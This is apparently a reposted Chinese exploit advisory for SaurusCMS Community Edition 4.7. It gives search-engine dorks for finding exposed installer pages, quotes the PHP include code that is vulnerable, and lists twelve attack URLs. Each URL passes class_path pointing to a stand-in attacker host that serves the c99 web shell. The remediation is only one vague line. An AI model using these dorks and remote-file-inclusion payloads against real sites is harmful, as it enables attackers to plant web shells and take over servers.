标题 : SaurusCMS-CE (CommunityEdition) v4.7 Multiple Vulnerabilities
作者: KedAns-Dz www.2cto.com
开发平台: php
类型: Multiple RFI
测试平台: Windows XP SP3 (en)
下载地址: [http://www.saurus.info/download/SaurusCMSCommunityEdition.zip]
# Gr33ts t0 { Kha&miX }

-------------------------------------------------------------------------
<+> (1) 安装文件泄露 :
-------------------------------------------------------------------------

+> allintitle:"Saurus CMS CE Installation"
+> site:[www.2cto.com] allintitle:"Saurus CMS CE Installation"
--------------------------------------------------------------------------
<+> (2) 多个 RFI :
--------------------------------------------------------------------------
[ PHP Code (1) =>

   $class_path = $matches[1] == "editor" ? "../classes/" : "./classes/";
   include($class_path."port.inc.php");

<= END Code ]

http://www.2cto.com /[path]/file.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/image.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/doc.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/com_del.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/form.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/editor/file.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/editor/image.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/editor/doc.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/editor/com_del.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/editor/form.php?class_path=http://Ev!l/c99.txt?
--------------------------------------------------------------------------
[ PHP Code (2) =>

    include_once($class_path."timer.class.php");
    if ($debug) {
    include_once($class_path."debug.inc.php");
    } else {
    include_once($class_path."nodebug.inc.php");
    }
    include_once($class_path."config.class.php");

<= END Code ]

http://www.2cto.com /[path]/styles.php?class_path=http://Ev!l/c99.txt?
http://www.2cto.com /[path]/editor/styles.php?class_path=http://Ev!l/c99.txt?

--------------------------------------------------------------------------
修复：针对性修复